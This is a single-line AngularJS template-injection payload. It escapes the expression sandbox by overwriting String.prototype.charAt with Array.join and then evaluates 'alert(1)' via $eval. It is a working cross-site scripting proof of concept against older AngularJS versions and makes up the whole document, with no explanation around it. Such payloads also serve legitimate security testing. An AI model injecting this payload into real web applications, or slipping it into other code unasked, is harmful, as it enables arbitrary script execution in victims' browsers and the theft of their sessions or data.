{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}